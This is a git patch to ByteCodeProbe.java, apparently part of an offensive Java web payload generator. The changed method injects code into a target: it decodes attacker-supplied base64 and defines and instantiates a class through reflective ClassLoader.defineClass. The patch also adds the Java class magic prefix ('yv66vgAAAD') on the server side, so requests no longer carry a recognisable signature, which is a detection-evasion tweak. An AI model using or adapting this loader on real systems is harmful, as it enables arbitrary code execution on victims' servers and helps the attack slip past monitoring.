From 3c073b4445e84689d54e456b73d2fb1cf15efb9e Mon Sep 17 00:00:00 2001 From: ReaJason Date: Tue, 2 Sep 2025 22:57:02 +0800 Subject: [PATCH] feat: byteCode Probe support remove magic str --- .../javaweb/probe/payload/ByteCodeProbe.java | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) diff --git a/generator/src/main/java/com/reajason/javaweb/probe/payload/ByteCodeProbe.java b/generator/src/main/java/com/reajason/javaweb/probe/payload/ByteCodeProbe.java index 688a7468..020041f5 100644 --- a/generator/src/main/java/com/reajason/javaweb/probe/payload/ByteCodeProbe.java +++ b/generator/src/main/java/com/reajason/javaweb/probe/payload/ByteCodeProbe.java @@ -23,20 +23,22 @@ public class ByteCodeProbe { public static String exit(@Advice.Argument(0) String data, @Advice.Return(readOnly = false) String ret) throws Throwable { Class decoderClass; byte[] classBytes; + String base64 = data; + if (!data.startsWith("yv66vgAAAD")) { + base64 = "yv66vgAAAD" + data; + } try { decoderClass = Class.forName("java.util.Base64"); Object decoder = decoderClass.getMethod("getDecoder").invoke(null); - classBytes = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, data); + classBytes = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64); } catch (Exception ignored) { decoderClass = Class.forName("sun.misc.BASE64Decoder"); - classBytes = (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), data); + classBytes = (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64); } Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(new URLClassLoader(new URL[]{}), classBytes, 0, classBytes.length); - ret = clazz.newInstance().toString(); - System.out.println(ret); - return ret; + Class clazz = (Class) defineClass.invoke(new java.net.URLClassLoader(new java.net.URL[]{}), classBytes, 0, classBytes.length); + return ret = clazz.newInstance().toString(); } @Override